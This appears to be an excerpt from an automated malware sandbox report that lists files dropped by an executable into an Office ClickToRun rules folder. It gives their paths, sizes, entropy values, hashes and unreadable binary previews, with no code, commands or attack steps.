SHA-512:	65098A4536FC87B5BCC2453194A997DC6CC99DC0076F4FF4F5A0F789B74D31048312E6B40D8B91C2D846B297DA8A08A9E4580721708D512D22E5E6A70A63B01F
Malicious:	false
Preview:	<?xml.+....y(..D.../........=<mr..E.P4./y(w..L..z..m....vy.?G....ry.o-?2...f.....kO(..3...\|5..P)S.n.G.."....?i0...O.Wv.....@N.....9.-.J0D...4........'`...`8../..Q...s....t.....1.G .T.J........g.g..../i..6.Q.....S.V...#O:\....B..?..d..x.Q..,...^_..y"..-:...%..M..\..Ft..l8..r.u..X..V....}g&..,5.)..9...X...s_N.U.yHCD..UG....9..F0..U.....>.Tv..M\.y........b.M<...EC..:).%......+_.$...z...o.....(.mF}oQ.md.km..u.t.......0...3.nad..7..`......\....f.EmW..p....).{.<o.TA..]#!.O..2]x...&.......v...GX...\|.._..i./..{.1..v..4q....P.8......E.1.b...N...r.X..#....x.....A\...!.....-.xb...e.S....2......}..$n..F... 3..y..KN..$.Z....<.r).e._..x..Z..;..].k...r.S).G...m...t.<..p.7iXY..u.b.y>.JP......u..4.$.?.Z..).....C>.!j...o....=..M....$.H...k...&..?..6.%:[5_..l..^..f.2:.2.x.D7.z.(&.....p.2.G...CF&d...i.d.....S...y.....0...\|.@S..Q...S........2(....T....a....U...f.A..c...,....3..9.....b.B..G...i.\...3g.cu.3.O..ji^.j..S.t:G..,..=.Fz......h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.9774873191701134
Encrypted:	false
SSDEEP:	192:gv/t6+o25CYRRl2D4kq2FBGAB5kaprfpB1UPGwQUz65sKH:tQjWsAB5prfbdwQUz65
MD5:	2915BD09FC7C7DFD3C9438102F64C819
SHA1:	023811848E9123696D5B077CA82A636575C42CB7
SHA-256:	170A99F4576010B8C4C6587F3882398B35CB6AADC8E9D5D7E1AA1BA502847197
SHA-512:	74D34377EEA268147A60C3548F6AFF3D996679D526ECE1D1A77C0E60955D842D9DA5B7A19BF27B73012CE829150FFFD800A0FFA7B7860F34B6BAB5F295D6C4B8
Malicious:	false
Preview:	<?xml.V.}.j..,.mf4pb....0...F.I.U..Y....E..p...?.Q.M.3Xd.].\|......<...7.j.@...u..dR.K...."..7:9....P..\,..PL.......e.'..&..Xf.........V......N.M.hy.QD.. .f..WXpL..R..[.N.@A.'[8..@.a.#.e>...n..=.......3x..{... ...R.G9..P...s"...q..0.7.s..U...>..o....0}>.......z........^.p.eYr..oc... 1.".5..:.UN.8"..!y~g.qUy..I.....l.%......!.dpm1.Q...S$....!`....L:._...._N....@^.$YH....kIOg.........t\x..9a.3.2@%......Y....;...H..'y..p...Wk.9..:..9.............<..G0.d.e....x=......s:..4.b."..EDB....._J.[..&.e.-.Fe.E.%.CU..T.._%&.-..N..dM...G...%y.M......^2}{m.1A\.}.m.-...V..N.$...^..P.. .2....@E....~..E6~...vm....O...N.D.......T....0.^..C.W..v...............g.\..=.h.G........cr.A*j.`..E.(....&.......^.7.t.l.........%...X._..d... .J>=.5d.((."...g.....VG..q.qS...w...I.....%....G.I..Fed.:''.F.V..L.T..$..(5Ky@+V...V.~.........S......pF.p.....Q.....A.w..t.....fu......{/.E....W...\|.BG..-.z./..p.w-...<..u.% y..Pz....V.N..K.......I,FU.Je..6."......S.(.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.972710731864554
Encrypted:	false
SSDEEP:	96:PAZLrj+Hk2ERjGpH92fJ4q6upOR+HZcPKo1frwVWYkTBE6/Jb5ddZJPEDbX6K:PgLv+E2lpd2C6OcKi2YF6/h5ddfPEX6K
MD5:	927CDD06D74D4A53D016D0974BD19545
SHA1:	7A17168EA106D71C4F56E9C0C049BB5FA60BC79A
SHA-256:	FE2A0E7DD55574CBCF58D0B17A521C1F08A9650041DCFDB6B01A414A5656A7FF
SHA-512:	45F0D40A7DEAA7D4B5573024C910EBD777B940A5B6592446C38828EE78F7E508CCB3B0161083D8089DBD6F4D3CF1099F925ADEFFD1B250B040BB66BACB764CE0
Malicious:	false
Preview:	<?xml.\|0/.....:ao..?....U..~<.:....-......9Q3..6[a....q.g..g....f..LGbm.+.x._..O.......y..p3)...A?.-......z...q..$....a..'.ab.DR..E..V....../..t>.....W.#K..w+.4.,.[.4y.Q. ..s....C..h...XI?.........i.sP.W......v]..s.m.].J...s.N.5...X(]k.7>.1.Q=\x....o..........b..r........+...QCQ/....'6..7..!.6.&\...1a..j.4..N.#......n..R...b....dB.\........c3{..".)0......Q......B..@..B...+.\|:$D.E.\|.v.....@.Z\|...'.^....J.r.....u....-}t.....1..Oq...w....m.9.si+..W.Iz.[.9....f,.k.......m....a5.(Ag..].........v..PvW....f...f..N..{[2J....).U.....K.On.2.......aw7.....Vc@..%/.U..t.C...X3l6....* .v.....%.~.$....y1.U&%.4..{.!../[.\|.\|.~.._x?.U.].w~]?.....6d..s.sK.`...>s....S.]...NQ...2dL....d\|.....70.r.y.......a..-pk:.....8z.c.`1.0c...p..'NF0G....Hj..!?}.~).o........B.d.?...r.8.h....yy.XWW..0._.@..f=...B\|..1....?#>......U!..J..aM..l.!.\......h.\..O....b\x...Nb.Vt+.6-.J..}...8..../.5......1_....E..).n.......2....qj..3&G.C..j.Y.:..o.xU.\|.....IP..qF..l.......m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.959459774514499
Encrypted:	false
SSDEEP:	96:cgSx2wPu9U1EyLhca38JsIzwrtPGPQY5g+7313UtS4nwEC0S67INdFmn:cmD9GhtsJsv5P6hz73SdCAI3Fmn
MD5:	F36830307E6EF2FD4238E4C59CD3DBF4
SHA1:	FB5F787779A4FF3CD4B265DADB2095EE632E0E91
SHA-256:	3BFACB093234024E65156B107FDAD8CC4C8C88B50C406226193915DD1A9003EA
SHA-512:	6A55139EDCF80307DFCF907E6CFE98DA6E1045B20DB47F9B8B1C8C79157152E1E3FF43AFD1D5DA9BB26171D448E3030DABD3B5B9AF1066D64771FCAD7662FA4D
Malicious:	false
Preview:	<?xml2C\.e.q........r...4....^.!..-D....n.=.#.PX.....~.T....6O].x.`w.O.\Yo...VWh..!..).=.T.@uF.#.w.I.S.H2..iB\|LW.a..Q[.r.#}..N _JDF.O..w..{......1.!l........l.W.l.....Dk..^.La.~.........B..{xoo.$5_..2HG..Ve....\....S ....E.f.....&...y...B0j.g..C\|..._..Q...C.{a..C.qC...Y....9..C.+.^.B..f.7..).RDT.h....x.$..`./.:2\)3d...../...R].%.].....Rl......u&/x...<.N.&.f.[..RD._....9...i......u/.p...&.=..T\.... ......`P..([k......b[da....{G....=...4..\...b.X+...I....m...h.W\LF.vZ....w.....O.m.J...z.....o....Kh\.J..=....8..P.,..>.._.d.'oo..LAz../u....F.....k#{..%A.G).nzI.m.G...4<.c.r.P...d.:!Ed....U.+t..kra...T..V-..fe...LC8h.'6H..2....?.2u..fSrbB.Y...S_.....)...5.P..........4.....=.MI:......@.Jq..1).....`W......Df...xi.....9`Y"..R2....j..L..:...$........6.@v.si.<....~.....q..V.......=5........5?...X.o..A..(g...v.h.D.J.x.o.r..2......%6...~....qKa.... m.e...e..mU......#....^...[....5.v.y.S.M......QQ...ama.....n-..]U.]`.}.,5...lw.2ox ..b.)t"*..\|..b.&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.961027225886349
Encrypted:	false
SSDEEP:	96:1UCUlh73j0rnKIZFKN45INqwc9Nymihq5ICoUcoOauWQmCcvLpu4sQxFAsxFI5pw:1Ux7T0+IZU2Zwc9NYPjabQmC2F4sxFIQ
MD5:	19C72A50FE23ADE6ECFAD7A540036812
SHA1:	9645D224162F3D0AF5E6B81704AF03197A2F087A
SHA-256:	B2BFFB60B3A7ECC78A9A60848D3396D9641E196BFB245CEB19545026D4286EF5
SHA-512:	DF5AED851D43AE64159E902466A04AEA345B99698AC4D76F3FED36ACA4654659D17B55C013835B39874BD0B23223A20C06F289E7BDB5CE50DBD8EE42138AF64C
Malicious:	false
Preview:	<?xml.........!`.2VID=&..{A..W.RM......../g`c.k.6A...?.k>...V........U....c.......^.A.%.]I...x'.Y...>T..[....).H.&.0.9...`E..S#.d...e.Dx.z.B......./v.[...).....?..y....0G.oF.3....Y.^ d...(-..=....\|-....9J..Wj'\".R)....@..-..4x8...1.\....>.b...-k..D.j...Q.......3@I.5.y......L.....l:./...V...L..1......"...H.}../.:X.C>./..K.V6..q.\|0.;....Z..L)....K/..8RO...<a.`.....(x..z....P.k...=,.3.. ....0Pm.n...h.X..%i..._.X.l..?+.fHx._s.QR..hhWH(Q@.....d.1$.h.1...=.kw.W..k.n..j{.5$y.......5.3...^.h..C./ID7b..KY.m%8.....a.s.@..k/&/r=..=.I..2....\|).}.Z..a.I,.$..>_..F\KCy._Q...u.....:).sIb."+....!{.JxEE.]d.<i..3.,...#kh...............%7N.z...'E.e..4!. .i.LxIrPn...2..aU..E:..vS........H@1B.f.u1...s.uR..U...aN.b..x.}......#..1...<H~.lM.e.q..q.:mQ....cX...c{...~.#..0.'.1!jX..k......>5N.}.W..'.@>.CAL.nT........;0Z .@.....lj>.P,..........3JK.\....."}G.i.eR<K.%9r._.3..l.].[.y...o<..?.p...C.q)..1..1.R....)..,...Y.......4..7.......y..o..j.r.^...~.."..-..4P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.939623958533675
Encrypted:	false
SSDEEP:	48:lopcnKRKCiBrXJ1FyzHeWI30VVlIcLpHGmE9e03QP5EkdQ3GnfkiufaEJKGBsnWZ:2qKRfi97FyzHeWIiLpHxE9ebukdQ32tk
MD5:	462257DBF54DC794D1A589274DD7F1B9
SHA1:	6CF5ED40FF2D4A58BC47A3C1C5F5CA9C86DC9A41
SHA-256:	607879AD370D140B093480B983FCFBE7370D2491803380F0382D31301C4B9C41
SHA-512:	FD9E6CA9AB004BB13F46F10A8AB0D05B473961846E1BC365E8575B0C3D547216C3EC3CA53E5D161E348E9AD5420B831578070D272BBC1E0A23F1507C793702FF
Malicious:	false
Preview:	<?xmld._i......iWu].....{.v.g.<..w........k...t$.[...d......."`.\| ...Y0..Mk...V.J...%.\.#LBB..NU.pEY....`J.#.8...u.m.w.Y..l.........-~$....s&Az.r,~.W...9...D".I..~....4..4n.H.... N.dh.Cg.>...,..8R.HfE......j..N:....G]k79{.t&..zc...PgD..L..G}...!.q)n;....J;Qz.~.$7.%.rG....$..(...pE....hs...C..$....9...."........M...U.q..T....T..(....~.C..c...45....r....R..{T&\(D1).-.y....e.&.@.FK.....J..^x..h......?._.Su._..1...J`.3......Mf.........KU.r2..U...6.~=.v....0<^.....,N5/.:...v.a...W..=.rY..$...@5.%..?..xo.C..lCO._.(x}."P.<.e.............=$.2+.z...........N...DU$..T.....{(.......:g......Z...os.F..J6.M.H...M.z...:..Xp,.1\o[.....].ph..S.@.....,C.1.....TxE.h.x. .>.m.........~.7F.........^.V..\|S..e.h.w...-......o...P.....3\|...1.`F.................$qJ...t.P.....9..y.,.....D....5w....y.'.....1.g.'......V\|.X.<..g...F.n....:....g..9....d......Q..._A.Y.0..=..H./.z....#J0..I.E..g),.#@.....:.R>.dC3.I....Q.F{i........k...e.#;.4.IN0v;.....?X......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.748571290608061
Encrypted:	false
SSDEEP:	24:W00sqvoHFU1TFikCUoGrQTx71yr+agMq9pbD:W0CPvG3GrQO9sJD
MD5:	8A0D767718135270CDF1548E3ACF710E
SHA1:	784AA05FDCE0C3D407A393A02ED2042B0509A5CD
SHA-256:	D2195980F7E1B61F29035426ABB4D21C961C7620E57E67ABA889D66B0CCAD272
SHA-512:	18D2B73A9DDC908EFE13B2CC6B65CF2B33087E8104AD1AD6C2898FA26D302C80A1CE590D025C305E3BC039F186B87083AA988FDDAAC83D4911C469BFA70924BD
Malicious:	false
Preview:	<?xml,.....9n.:..e.<q...Jjz...$MK.......>..^^"..G]Dl<......._T..r.CX.4.,{:M....!@2....D.E......3...+..._.`..A......[....c.9T.uo.)k..X.D...A.u. e\|r-.v.....4....k..."..0.7\.,;.<K.j..7Q..vLU.T@...z......Xi.Qc.H.l.0..c..n.@0o......j.R.~. a..n;...f#..+..U....i....3Rq.eE....`..Q...0.C.Ch."q.h...d.2.$U..l..?....LdP...F&..U..T..n.m3.1......N...V.3..t.p.l.j....4..{...V$....w+.).w.^..(z2.......6W......QLAq..BW.z...H.....c..K.h..`5.B..f.V..$.....^...;.'....9.8.Q?.m..\.D.....(...'t}.'..6X...j......"]...)E....$r.[ ...q.\|../7j^..;.P-.....w8N.o.+d.%......(.;.K.)p..8=........PS.1E..>.M..P.i1:.;9.q...j<...+..#}.\|...5........3.(..#.J.]..eMP*.:]..2.....Y...A4&......%..a.....:MUI.{.D}.)SxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.927108880282498
Encrypted:	false
SSDEEP:	48:WyjEXsOacG4w7iSVq4EabmgqiFfuP+ulkHeS2uFVVinBlp8EPQQvZVM1BjxskHhA:WXQbKgq8Q+ulU2GiBlKE4QBC1blB0+Az
MD5:	A39D12CE3D89931638AE9FFABF626F1E
SHA1:	FCA9158B1886EE65D470702892B20B7A65068D9A
SHA-256:	95DABC1D2CBEFAFC2F9115AE214DBF2A652E5ECFDD1745A174074C48449CBE88
SHA-512:	190272848B284D38865DEE844C470B5AB2254C900DE42785F3EA711D06B34EE47A18A8DFCF9ECF4F1AE9D0B74EADF31197F7CD738714C4446A79039A6FDB7D27
Malicious:	false
Preview:	<?xmlk....3......5.....W.UqC....k..W.J..rB...H.?IJ..F..d.)0j.C...:h.f./...f..s..V....l$.....L`..&.U...ZQ8..j9W.".....(~..8.y~..3...G...=.\.j.Ta.E.6.@..J.g........9...W..p."]r........r.........-l..e..-4..~.=...,.......3.s}.U......sB......<qD..;..N.......X.1.M`&..p=8.UMX....=E..6..W..;.....B..l...2.C+{Ae.....3.gI..s.Ry..w...[.....k.;C2.n..7.T...d.z...U..L#....mE.`.>...L..p...J.....g..,.4..b~..\.mV../.`b"T.H..O.U..a..\...*^.H+#........ +....7..1..&.....K.\EH.pT}..lV....!..vt.]vx....td.1?..K.J........Aw43..I..&....{....G...F....#..j.~.....x7:.P..P........8EG.A%n../8yON.....!z.E=.G..m......z?.3....b.c.h...g.:[...D&.y.<.s.c...Q.ZaJ.7......\|..f.}.T............\|G.(+..a.<......e...J0.;[.b.<...t.......to."D.H.S ...;J@.......".kkq]<+.\Z..-v..r.....zV.`Kk.1Q.fy]H.O...s.0..4...c$...f-....:...c./.y...E....b.k.[.M......?.z.)=....Y.^..sI..$t...i...&.qk..G=.<..[s...qK.,$..pE-5l..x..W...l...+..u.bR......T..w..b. .6f. ....Hi0..........!.x`.T.S.w.D.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.6837894559242095
Encrypted:	false
SSDEEP:	12:gEYNbTsLz3AwhpUUTR4fwRDpP0r32+rvU9V8UaA65r03gpTq5QDV2r6g629M2ciD:g9Nbo7AomQNk5rsCgWT3Vi+29pbD
MD5:	C579C4DC3A8A107F8DE6ED1DC009EB4B
SHA1:	1671C0DA555605D38E7639ED134985B77B9D9906
SHA-256:	F97FF8E7167F8F092B006885D11DFA6D7A87798EBF41DAE771168C518E20F613
SHA-512:	EB18146E33EB0676B276BE54341BFF8533FFF58C0E5C67FC8B413FFB20DF91079B511D5E14EBB6AE025C6F53212AC3799D2D0F2B591BFC765771CA07F2516311
Malicious:	false
Preview:	<?xml..N..A~B.z...U..f.h<.syM7L...:..>].r@o.D...W..v..E^.f..C<3..`>.L.&.~...Q.[..Y.8....;.CA#.,..u.SPE:(..T.H.]5.lr<........x?......i..+.clkz;...9>..nBc4.n..&q......e...L<}.....l...=.,..#.o.}?(..c..2.-....{....,.s;.R.xiz.u.x..a.."VC..y.;.m]...}E.6.. ....Q;.).t.....os..}.<.[.....1..D..Y..X..(..]oh...J.M........r._/l,<\|.G..Qd&<e..'....)..D..G.#... ....7V.P#.....$'..'%.V@.G&`..=......d?.....Q@.7.%..7gn. ..:.v..%..7.Y0x.(.M..A6W.{L(..25<+..Gd.4N.IBa.5.Jr.K....3TXFcq<]CA_'.}"`..#.T..[......M/..>..0...?N%..l....[P..*..9.{\.Z. .J.%.#..8b7B..=.j.l....U1.7.Z.^..'aE.......9xV..oVm..L.{..s..x..dtO).......z.~J7....a..n...bSQ....?^.e.q....#..........Wu..o.=-4...P..O:..9F6x.......e.V........=..=.8.).G.i.q.I...m,%.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.927445394884261
Encrypted:	false
SSDEEP:	48:3hEB0qCr5xLCtfJePd2gK01XWgb44sOeTAjWGm1irJd4fl3c3WuDgo0Utf5XW3Vk:xlxL4B4dg01XhFwAqG3rJOfls3WzOAlk
MD5:	CEE68C232CB67BB1231B65825AA7AD2A
SHA1:	D64BCA2882297AEE3EE077621E4A050F69C01927
SHA-256:	843553B9F5C6C0B059FF793FDDD98090A6F88981F0F2A326E65F13EA6D6F58C3
SHA-512:	7F6F7A0F7E1AEB8802CD8DEF28AF67549C1E89CEC308AA60D15316C1284EB6790A62BE31BD5CF6F0BF5542E31CC7FB8EE96F4056D8A940B89C56535841E68AEF
Malicious:	false
Preview:	<?xml..s!...$.".+@.S..FG../GX..X.$f........\6<3..z_...rw,..w....L..}..o6vz<..9..).7..w%.w......1zpc........P>1}.D.F3'F\|.dxxKg..1.YL.&g...&.F..6.V...jL.=..@C(...Y.E.M.<].uD.s.........<bF.%.N.H.?..nKV..h?(C..._..w...^xm.q.~.?(...j......cdT.5......r....2/.W.C..lw.>....A;.....1..y.O.....gc..i.N...$I.\a..s'.M.w#.a.dL.=.......>......9.F...L.r[.^).F... ..I....U....m@.b..N6K....C.....\|I.........A.o...5F8...P=Rd.a.\.......Q..m.2.}...>...l.j.2J..<.......!{y..8..D..1.!._AMtL....'k'H.\|o...[l.N.<j...Ma+O.b{.-........F.g..f{,..h.+.X....>...y.C.>.!...g...t.X..x..d8.0...4...O.P....cW..5.T..l..Y..n..3..R[.y....T..v.....%....]....7.%.......N.....N..-.....^(fT.K.28.......#..8.9....Q..Z..o...m...o..~Sw..s..1..'?.].m....I....0....o-._S...5.u..2@.9~..;9K..o.:..x.......L:...._..@.{..j......@.....YdD.>.]^...B..{........8.......d.E.<TD1.*J...Hq.......2.......1`..oY....f.!..........K5.....o...q.I.$.h..6.i...-.P.O7..+.hG.<.E.t.!.,..n....x.hE..)..U..t=.....C.^1l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.778750559973815
Encrypted:	false
SSDEEP:	24:6ATilgodAX9OAOunH8I+dq2Mg08+jMXj/FrJVRVtUmT4lOj9pbD:6ATO5dQcAOScIYWg0PMXj/N7tUmklOph
MD5:	A2CE2C65B7120336BE507FD04CBF363A
SHA1:	F8281B77C53E29CBE9A9CEBB6C36380C5BDBA16C
SHA-256:	9C0E476577A406AF4EFE295F5FAC4FFB58C18EBE8024755DA9F2423087A1CD70
SHA-512:	DB29104B11F67717110AC1A40E5EBA0D768125B8CB2D60050A9937B1D82471364B8011148841A21B2D21502EE16B0F8AA4ED8699F5D0A395627A360F5F075C2C
Malicious:	false
Preview:	<?xml....W.c.}. .7.v...i..K..?".e...$eKo.._.&<V..Vf..ncK.{=.....)&.h..uO..G....H.0.G.sn.....v2...M3..j...!.7..`L.e...3..9r.FD.P......d...-.B...&iC...30.d9.....4.....^....1$.M.o..+..6..$..7.T..[f...).#.N.>.BPr..!7.fD0UG#......]...8<...'.y.........7.F[...Me...$l._.....Z...........f..g..G@.u.....\a....P.........z..D#.....}p.]al..s.0.u..RA..I=...:.v@....]......>..W..C..;o....~e..\. L..[.qx.#...D..8...X.........D.e.t.................wa.Q&.....S....K.k<....}...&.kg..Mp...sd .<...<.......9.*..7.K..Z.....z..W\.. ).O.\|..)U.o....j.....u}.C......6...k.s.6N...VN.4..8..-_....d..6_L.....zc.j.mFb^P.......s........_.l..4.K. ..q.H....u?..p..T..;.F}../.7^......Bn%... K4...i....sF,hY6.4>4......e......RN....x.@...A.K.v...n>....GWex.eV..b<.O...s.z..;.....t.....w..L..q....b......\|.>..9Ef....Vb"d.;....).B...X:M..,../..$...-. .O.j...QA.......t..&zUD.p.%..D,.IO...7/..V~[...,..,V......>e/.Av=.{.\..W9.E...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.872932900691163
Encrypted:	false
SSDEEP:	24:LdZCaht0oa9LJb3RtYUvYh6WutACtlooBg1kxq+X7Y1OXurNvyyulBf64o3Ud5+K:z0oa9VRtTK6xyM7h7X7YwXUvyyS6B8JD
MD5:	010689EC595675613FE3AA4A7B615ABC
SHA1:	36E39E28E1845F368AC755BE74175000337D8DB7
SHA-256:	0638F74CB43EE49D1A8AE3CB516F2163DF71DB73AC05AA773C5BE389E6371E3A
SHA-512:	656E627299A4CD1F87ECF02EA499D9E30EE698046CDC0154D95912A8BB3A0C2117CF5ED4B8EEF33C65C8FCBCA5891EF1E11420CE35C537D1FF75D8C7CB80B401
Malicious:	false
Preview:	<?xml.v.R..!...?.......R.w....Z.G?D.>B..=..[, .....k%....+.P..S0.#>].......R.?....K..:..p.J.[..,....,........?.F......'&#...K...}.[.E..,.OU..........=W..a.."..$HV....=..[Q.V\.Y.t......mD.B.h...n.IR..s...Y..sxq..J.?.L...w..1$..jj0....C...3.m...)..$v....O+.2..{....C.."....6f...5?s.B..L..;g9..U&..EZ..=./..S..^.........%uy...X......e...c...U.%.u)..-l...KI.[.>.X.lv..5~0..z....'C..(K.W...n.a.........G............:ei.\|....GupN....S3-:.zZ..T....b/..Z.i.X}.....C.o.~S...9..8.1.R,Xc~I!..N..x.9.;...C....l4.........7>Q.l.&..".m?.mOA..6...h........jg"...N....m..I....@........He@....l.V...e...q.Ko.T....M..V....F.~..g...U.. ........`.UIc..M...4z....^.W'.PQ.....b=%-!....Z... ..._w:..X...P..b.V*.'..%"d..._...;_r.^..em...{..>.e.>.-W`.-'M.[...?.a.._....fV...!..8...(..$w.@.h...A.gx6.b..z._...X..i...}8..9.P..C0.....5..._x;...\|.n?`M.n..wr..P......5.....%..\|D.z>....B.b..c.N..;S....Q.l..,...o.s..)...L...@..Q..m...4....nAj....n....IH..&.n.rXl.5/..'REHZ......{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.768266144924437
Encrypted:	false
SSDEEP:	24:UpwuIvDAkUIm4b40KJtT42LTDVbYEpt6e1ItOj+x9pbD:zucDA54c0OOITJJj6e1SOCJD
MD5:	08A2932CC76B07DFA9698590D1A58C7F
SHA1:	BD12E5B1AD569051CC19F46EB0D49FA91D574A65
SHA-256:	85CA745C6B8E8363050600D155CE6AD9D9C389F80A7FD65F183168CE44C9798E
SHA-512:	C40835BD2EDFD784F751D63D08EF6F8A54A167132E14A24E797EF20D2BC8175EAC261A140521B90EB7851F95CF95AB47574AA591DF4DD83189BE526517A55837
Malicious:	false
Preview:	<?xml0.pzVW...a...O..{......!..G..R..n.^6..R....\.^..Z..dM....\Df..y...._N....F....r?.Y25.)...r..l^.f....a.:....7..a.RI.'....s=:.0..a.....4.J....u.....n...4..(...'.E.Z. ......(...".F..T.8K...gb...6].....QM&(.f....!..-.0...........g@....i.bOU./.g .\d:.b&..Z.X.p..."..i.C..qx..x-....r~.%..Zg..r.F.Y...$..u.y6.c....W....p+V.8..F'......V....e..q0.y...Wo:p..\O..;p..q.._r.u......e.......X.U4..?.v.(,...~n.P.D.......?G.X.k.)....g..Z..........c.8!NT...mm...G..jdDZ..i..q7G.f6c..3.1..w.....1.......I.@..-2...Fr.I;..)..9%...q...Nm..r.9..@.r..x.y.2\|...%.S.....Z.A=..\.>..v...2r....!&...v....AA.\.._.+.r.Jo..\....J.tu5........5)..@...9.P...}.u.H~.F.p....Et....j.b.U....cV.....p..{*.D..3..7..8..$.agd......... .l.H.....j,.{g.j.7.H..i.Y..&8.l.[.`w.!.....Q.R.6.6..}.P......._+...1s..V.%'....8.%u......E.6.-..S..^.... 5\|..2.4$......;;..QxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.7452883066365965
Encrypted:	false
SSDEEP:	24:ecVEBjNFC0LiOpAf/hN7hUX3RLZfv6+UQqP0BQY59pbD:eDVNFziOpAfv7h4C+UyBQ0JD
MD5:	350F4B99B9E55D4A45991F02333ADB99
SHA1:	82F4AC6DF4A4639A7075C80D1C971008826ECE0F
SHA-256:	AF0794F199A0F245517017E17247B4D4E4470C220C7E66F23D350AD43ABE416B
SHA-512:	5C7B03D158AED039173A468AC18E7E1AEB29E1AE6849BD255EE101B511284D2A8E8B02B300A8EDDA10FE1B5588EFD4707EB266DCA00AC2DB974644F618305457
Malicious:	false
Preview:	<?xml.7.;._.m.l...o,............U....{.`+x....Du:.j.Y{.]....y.{.\|....0.=.4,i.=..H..S.#r.J.r.v..x}F..,..s...`..5.4...1@......;E.t.........G_.L....;e...aZ..$...Y.....^f.i..0A.......?t.cP...s.:t%4.JHS...\...?m..........-.U..q......R..q=...,...v..{..&..+.....;9..0.1d..$..X1.Y.gj.iY..8..u.+.=....Y\......-l5...;.......=..'.W.j.o.....Y.-C.~..9...8..h..u..#f?..<z..\O.....5.).4...U...d71.c..J..\.H).YDn..2...T...N#..IN. .n.A.."4..6+5.....7.y..Q..<.Z..S....\T9....d.}..fO%4M...)1....W.....#...W{Xj.Z.Q.zW.?....f.k.e.3^..g....C.6.....F.E.NE.h7.....t...I. {.Z5.%.!.I##..}.s.-.>..K......o....9"..\|.a.(l}..k...[....=.L].Ppz........-.7...(.G..O.=..Q.../.i+?...X../~.t.R:..,G88z:..&\EHS._..>ZQ.....(Q...Sg..G..u.c.5.Dpm..$\.3j....!V....e.......]z...u.."..F..F.R!j..,}..?..5.6..6..@})...5..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.79980030558524
Encrypted:	false
SSDEEP:	24:+aFsem8yZ5YxDxkpkXH2fTUppE11ESWU869pbD:rU3WzXH3ppm1cL8JD
MD5:	B1F2930087C27A351F8A9DAD0259993D
SHA1:	8BC31D7AAD272600C7F09AA8F5422CB39278E526
SHA-256:	1D888585936931D5C604ED0F21784B3EC1BAC0965ED1EA14600BDEE9A1880EC4
SHA-512:	F7A42567DCB0B26AE373974C37DB34FCF2B0123DE00D9F5DF76E12A29030174AB0CE4F80A8F21EACE797DC3D7BCCD4A2EAF58F7979B841C95B3B0E1EE0E7AD1D
Malicious:	false
